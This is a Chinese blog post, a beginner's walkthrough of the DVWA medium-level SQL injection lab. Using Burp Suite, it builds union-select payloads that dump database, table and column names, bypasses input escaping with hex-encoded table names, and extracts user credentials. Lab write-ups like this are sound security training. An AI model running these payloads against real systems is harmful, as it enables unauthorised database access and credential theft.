从零开始学安全--第4天

DVWA SQL注入中级

使用burp抓包发现抓不了127.0.0.1的包,配置好代理后再搜索about:,把本地的代理打开,就可以抓到包了

在这里插入图片描述

爆库名

中级的sql注入是设置好的post表单提交,在网页上没有输入的地方,所以我们用burp抓包来构造payload
id=1 union select database(),version()#

在这里插入图片描述

爆表名

构造payload查询数据库:id=1 union select table_name,NULL from information_schema.tables where table_schema=“dvwa”# 报错了 说的是分号被转义掉了
在这里插入图片描述
我们来看一下源码:
(在右下角点击View Sources)

 <?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

mysqli_real_escape_string()这个函数对分号进行了\ 转义,要转义的字符串。编码的字符是 NUL(ASCII
0)、\n、\r、\、’、" 和 Control-Z。

这里可以构造用database()来查询:
payload: id=1 union select table_name,NULL from information_schema.tables where table_schema=database()#
在这里插入图片描述

爆字段
表名出来以后我们接着是爆字段,但是这里分号是用不了的,就不能直接查找我们想要的users表的字段,需要构造payload来绕过转义。
在网上找个几种常见的绕过方法:

1.宽字节注入
用%df
以单引号’为例,它被转义为’,我们的目标是去掉反斜杠,将’逃逸出来。现在我们不输入’,而是输入%df’,被转义后它变成:%df’,也相当于%df%5c%27(%5c表示反斜杠\ ),之后在数据库查询前由于使用了GBK多字节编码,%df%5c会gbk编码转换成为汉字"運",从而使得%27,也就是单引号逃逸。
payload:id=1 union select group_concat(column_name),NULL from information_schema.columns where table_name=%df'users %df'#
还是不行被转义掉了
在这里插入图片描述
2.用ASCII()绕过
ASCII(39)=’ 来进行构造,但是还是不行,我觉得可能是我的语句有问题
payload:id=1 union select group_concat(column_name),NULL from information_schema.columns where table_name=ASCII(39)users ASCII(39)#
在这里插入图片描述
3.用16进制绕过
前面两种方法不行,困扰了我一天,最后参考一篇博文找到了,16进制转换是用代码来实现的,但是现在我还不懂是怎么转换的
payload:id=1 and 1=2 union select group_concat(column_name),NULL from information_schema.columns where table_name=0x7573657273#
在这里插入图片描述

爆用户

最后爆出用户账号密码就很简单了
payload:id=1 and 1=2 union select user,password from users #
在这里插入图片描述

参考博文链接:https://blog.csdn.net/Cai1010110/article/details/102734879?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control&dist_request_id=1328689.9912.16165744645274655&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值